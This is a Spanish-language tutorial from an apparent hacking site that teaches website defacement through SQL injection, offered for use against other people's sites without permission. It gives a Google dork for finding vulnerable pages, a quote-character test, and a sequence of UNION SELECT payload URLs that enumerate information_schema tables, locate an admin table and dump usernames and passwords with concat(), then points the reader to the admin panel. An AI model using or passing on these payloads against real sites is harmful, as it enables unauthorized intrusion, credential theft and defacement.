Menu Defcon |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Creo que ya muchos me conocen, y hoy os voy a explicar
sobre Deface, en concreto SQL injecction, y he decidido SQL injecction, por qué
es lo mas “fácil” de aprender, y por que la mayoría de las vulnerabilidades son
SQL.
& bueno, empecemos...
¿Qué es Deface?
El Deface / Defacing / Defacement es la modificación de una página web sin
autorización del dueño de la misma.
La mayoría de las veces logran defacear un sitio consiguiendo acceso mediante
alguna vulnerabilidad que el programador haya dejado en el mismo.
También por passwords débiles, problemas en el FTP, etc.
¿Qué es SQL Inyección?
Inyección SQL es una vulnerabilidad informática en el nivel de la validación de
las entradas a la base de datos de una aplicación. El origen es el filtrado
incorrecto de las variables utilizadas en las partes del programa con código
SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que
puede ocurrir en cualquier lenguaje de programación o de script que esté
incrustado dentro de otro.
Qué es un Dork?
Algo que usuarios malévolos escriben para encontrar máquinas vulnerables
Bueno ara vamos a la práctica, hoy, os voy a enseñar a como defacear una
website mediante un bug SQL.
Primero hay que tener un buen dorks SQL, por ejemplo.
“allinurl: .php?id= “
Sin las comillas. Ese Dork es el más básico pero hay muchísimos más, todo es
con tal de ir mirando.
Bueno ya hemos encontrado una, www.web.com/noticia.php?id=34
Ahora para saber si es vulnerable, le tenemos que quitar el 34, y ponerle ‘.
Quedaría a si:www.web.com/noticias.php?id=’
Si nos sale un error mysql , tipo este ;
Warning: mysql_error(): supplied argument is not a valid MySQL-Link resource
in /usr/home/xxxX/public_html/_sys/general_functions.php on line 5
No todos son así, pero tienen algo parecido. Bueno ya sabemos que es
vulnerable ara toca poner inyección. Lo principal es;
-1+union+all+select+0,1
Quedaría así ;
www.web.com/noticias.php?id=-1+union+all+select+0,1
Ara toca ir buscando, hasta que se te quite los errores, y te salgan números.
Para ir buscando tienes que ir añadiendo números , ejemplo:
www.web.com/noticias.php?id=-1+union+all+select+0,1,2,3,4,5,6,7--
Siempre al final de cada numero pon “--“ [Dos guiones] sin las comillas.
No siempre acaba en 7, puede acabar en 100, 200, quien sabe.
A mí, me ha salido los números en 7, y me ha tirado el 4, 6 y 7.
Ahora toca coger uno de ellos, el que sea, yo cojo el 4.
Ara tenemos que hacer lo siguiente:
Si as elegido el 4, borras el numero 4 y pones “table_name” sin las comillas y al
final pones;
+from+information_schema.tables—
Y nos quedaría a si:
www.web.com/noticias.php?id=-
1+union+all+select+0,1,2,3,table_name,5,6,7+from+information_schema.tables
—
Ahora se nos ha cambiado el 4 por CHARACTER_SETS. Que es lo que normal
mente sale al principio. Ara nos toca buscar tablas como “admin, root, login,
miembro, member, user, usuario, administrador, etc. “Y aviso, no es lo mismo
admin que Admin. Me explico, a lo mejor con admin no te sale y con Admin sí.
Para buscar las tablas tienes
que borrar los dos guiones finales y poner ;
+1,1--
Y ir cambiando el primer 1 por los siguientes números, ejemplo:
www.web.com/noticias.php?id=-
1+union+all+select+0,1,2,3,table_name,5,6,7+from+information_schema.tables+
1,1--
www.web.com/noticias.php?id=-
1+union+all+select+0,1,2,3,table_name,5,6,7+from+information_schema.tables+
2,1--
www.web.com/noticias.php?id=-
1+union+all+select+0,1,2,3,table_name,5,6,7+from+information_schema.tables+
3,1--
A si hasta que te salga algo importante. Nunca suele pasar de 100 pero bueno,
nunca se sabe.
A mí me ha tirado la tabla admin en 17. Ahora vamos hacer lo siguiente:
Borras +information_schema.tables+3,1-- , quedara a si:
www.web.com/noticias.php?id=-
1+union+all+select+0,1,2,3,table_name,5,6,7+from
y pones +admin , pones admin por que es la tabla importante que te ha tirado,
quedaría así:
www.web.com/noticias.php?id=-
1+union+all+select+0,1,2,3,table_name,5,6,7+from+admin
& ara en table_name hay que ir probando palabras como; “Login, admin,
password, clave, pass, user, email, mail , etc... “ Quedaría a si:
www.web.com/noticias.php?id=-
1+union+all+select+0,1,2,3,admin,5,6,7+from+admin
A mí el user me lo ha tirado en “admin” y la contraseña en “clave”. Ahora borras
lo que has puesto en 4, y pones :
concat(nombre,0x3a3a,pass)
Quedaría a si:
www.web.com/noticias.php?id=-1+union+all+select+0,1,2,3,
concat(admin,0x3a3a,clave),5,6,7+from+admin
Os explico, admin es la tabla donde nos ha dado el usuario, 0x3a3a es :: en
hexadecimal y clave es la tabla donde nos a tirado el password.
Y Listo ya tenemos usuario y password. Ahora toca buscar el panel
|
|
|
|
|
|
|
2 visitantesEn linea en este momento |
|
|
|
|
|
|
|